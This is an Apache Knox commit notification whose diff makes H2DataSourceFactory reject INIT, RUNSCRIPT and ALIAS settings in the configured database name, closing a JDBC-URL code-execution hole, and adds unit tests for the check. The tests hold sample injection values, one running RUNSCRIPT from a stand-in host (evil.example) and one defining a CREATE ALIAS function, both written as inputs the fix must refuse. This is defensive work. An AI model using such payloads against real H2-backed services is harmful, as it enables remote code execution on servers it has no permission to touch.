You are viewing a plain text version of this content. The canonical link for it is here.
Posted to commits@knox.apache.org by sm...@apache.org on 2026/09/09 07:30:37 UTC
(knox) branch master updated: KNOX-3442: Reject INIT/RUNSCRIPT/ALIAS in H2 database name to prevent JDBC-URL code execution (#1383)
This is an automated email from the ASF dual-hosted git repository.
smolnar82 pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/knox.git
The following commit(s) were added to refs/heads/master by this push:
new 38cc0f47b KNOX-3442: Reject INIT/RUNSCRIPT/ALIAS in H2 database name to prevent JDBC-URL code execution (#1383)
38cc0f47b is described below
commit 38cc0f47bf384324cc1a7e77104227c1da8d57bf
Author: Sandor Molnar <sm...@apache.org>
AuthorDate: Wed Sep 9 09:30:32 2026 +0200
KNOX-3442: Reject INIT/RUNSCRIPT/ALIAS in H2 database name to prevent JDBC-URL code execution (#1383)
---
.../knox/gateway/database/H2DataSourceFactory.java | 36 +++++++++++++++++++++-
.../gateway/database/DataSourceProviderTest.java | 34 ++++++++++++++++++++
2 files changed, 69 insertions(+), 1 deletion(-)
diff --git a/gateway-server/src/main/java/org/apache/knox/gateway/database/H2DataSourceFactory.java b/gateway-server/src/main/java/org/apache/knox/gateway/database/H2DataSourceFactory.java
index c1dae50ee..1b66fb852 100644
--- a/gateway-server/src/main/java/org/apache/knox/gateway/database/H2DataSourceFactory.java
+++ b/gateway-server/src/main/java/org/apache/knox/gateway/database/H2DataSourceFactory.java
@@ -24,6 +24,7 @@ import org.h2.jdbcx.JdbcDataSource;
import javax.sql.DataSource;
import java.sql.SQLException;
+import java.util.regex.Pattern;
/**
* Builds a {@link DataSource} for the H2 database. In the self-provisioning embedded case the
@@ -43,10 +44,21 @@ public class H2DataSourceFactory extends AbstractDataSourceFactory {
private static final String ENCRYPTED_URL_POSTFIX = ";CIPHER=AES";
+ /**
+ * H2 connection settings that let a URL execute arbitrary code: {@code INIT} runs SQL on connect
+ * (typically {@code RUNSCRIPT FROM '<url>'}), and {@code CREATE ALIAS ... AS '<java>'} defines a
+ * Java-backed function. {@code gateway.database.name} flows verbatim into the JDBC URL, so these
+ * tokens are rejected (case-insensitively, as whole words) before the URL is built. Legitimate
+ * settings such as {@code DB_CLOSE_DELAY}, {@code AUTO_SERVER} or {@code CIPHER} are unaffected.
+ */
+ private static final Pattern FORBIDDEN_H2_SETTINGS = Pattern.compile("(?i)\\b(INIT|RUNSCRIPT|ALIAS)\\b");
+
@Override
public DataSource createDataSource(GatewayConfig gatewayConfig, AliasService aliasService) throws AliasServiceException, SQLException {
final JdbcDataSource dataSource = new JdbcDataSource();
- String url = "jdbc:h2:" + gatewayConfig.getDatabaseName();
+ final String databaseName = gatewayConfig.getDatabaseName();
+ rejectForbiddenH2Settings(databaseName);
+ String url = "jdbc:h2:" + databaseName;
final String userPassword = getDatabasePassword(aliasService);
dataSource.setUser(getDatabaseUser(aliasService));
@@ -67,4 +79,26 @@ public class H2DataSourceFactory extends AbstractDataSourceFactory {
dataSource.setUrl(url);
return dataSource;
}
+
+ /**
+ * Rejects an H2 database name whose connection settings (the portion after the first {@code ';'})
+ * contain an {@code INIT}, {@code RUNSCRIPT} or {@code ALIAS} token, any of which H2 can use to run
+ * arbitrary code from the JDBC URL. The location portion is not inspected so that file paths and
+ * {@code mem:} names remain valid regardless of their content.
+ */
+ private void rejectForbiddenH2Settings(String databaseName) throws SQLException {
+ if (databaseName == null) {
+ return;
+ }
+ final int settingsStart = databaseName.indexOf(';');
+ if (settingsStart < 0) {
+ return;
+ }
+ final String settings = databaseName.substring(settingsStart + 1);
+ if (FORBIDDEN_H2_SETTINGS.matcher(settings).find()) {
+ throw new SQLException("Refusing to build the H2 connection URL: gateway.database.name contains a disallowed "
+ + "connection setting (INIT/RUNSCRIPT/ALIAS), which H2 can use to execute arbitrary code. "
+ + "Remove it from the configured database name.");
+ }
+ }
}
diff --git a/gateway-server/src/test/java/org/apache/knox/gateway/database/DataSourceProviderTest.java b/gateway-server/src/test/java/org/apache/knox/gateway/database/DataSourceProviderTest.java
index ea5c862f5..01f816125 100644
--- a/gateway-server/src/test/java/org/apache/knox/gateway/database/DataSourceProviderTest.java
+++ b/gateway-server/src/test/java/org/apache/knox/gateway/database/DataSourceProviderTest.java
@@ -189,6 +189,40 @@ public class DataSourceProviderTest {
assertThrows(SQLException.class, () -> DataSourceProvider.getDataSource(gatewayConfig, aliasService));
}
+ @Test
+ public void h2DatabaseNameWithValidConnectionSettingsIsAccepted() throws Exception {
+ final GatewayConfig gatewayConfig = EasyMock.createNiceMock(GatewayConfig.class);
+ EasyMock.expect(gatewayConfig.getDatabaseType()).andReturn(DatabaseType.H2.type()).anyTimes();
+ EasyMock.expect(gatewayConfig.getDatabaseName()).andReturn("mem:knox;DB_CLOSE_DELAY=-1").anyTimes();
+ EasyMock.expect(gatewayConfig.isDatabaseH2EncryptionEnabled()).andReturn(false).anyTimes();
+ final AliasService aliasService = EasyMock.createNiceMock(AliasService.class);
+ EasyMock.expect(aliasService.getPasswordFromAliasForGateway(EasyMock.anyString())).andReturn(null).anyTimes();
+ EasyMock.replay(gatewayConfig, aliasService);
+ final JdbcDataSource dataSource = (JdbcDataSource) DataSourceProvider.getDataSource(gatewayConfig, aliasService);
+ assertEquals("jdbc:h2:mem:knox;DB_CLOSE_DELAY=-1", dataSource.getUrl());
+ }
+
+ @Test
+ public void h2DatabaseNameWithInitRunscriptIsRejected() throws Exception {
+ assertH2DatabaseNameRejected("mem:knox;INIT=RUNSCRIPT FROM 'http://evil.example/x.sql'");
+ }
+
+ @Test
+ public void h2DatabaseNameWithCreateAliasIsRejected() throws Exception {
+ assertH2DatabaseNameRejected("mem:knox;init=CREATE ALIAS EXEC AS 'String x() { return \"\"; }'");
+ }
+
+ private void assertH2DatabaseNameRejected(String databaseName) throws Exception {
+ final GatewayConfig gatewayConfig = EasyMock.createNiceMock(GatewayConfig.class);
+ EasyMock.expect(gatewayConfig.getDatabaseType()).andReturn(DatabaseType.H2.type()).anyTimes();
+ EasyMock.expect(gatewayConfig.getDatabaseName()).andReturn(databaseName).anyTimes();
+ EasyMock.expect(gatewayConfig.isDatabaseH2EncryptionEnabled()).andReturn(false).anyTimes();
+ final AliasService aliasService = EasyMock.createNiceMock(AliasService.class);
+ EasyMock.expect(aliasService.getPasswordFromAliasForGateway(EasyMock.anyString())).andReturn(null).anyTimes();
+ EasyMock.replay(gatewayConfig, aliasService);
+ assertThrows(SQLException.class, () -> DataSourceProvider.getDataSource(gatewayConfig, aliasService));
+ }
+
@Test
public void shouldReturnMySqlDataSource() throws Exception {
final GatewayConfig gatewayConfig = EasyMock.createNiceMock(GatewayConfig.class);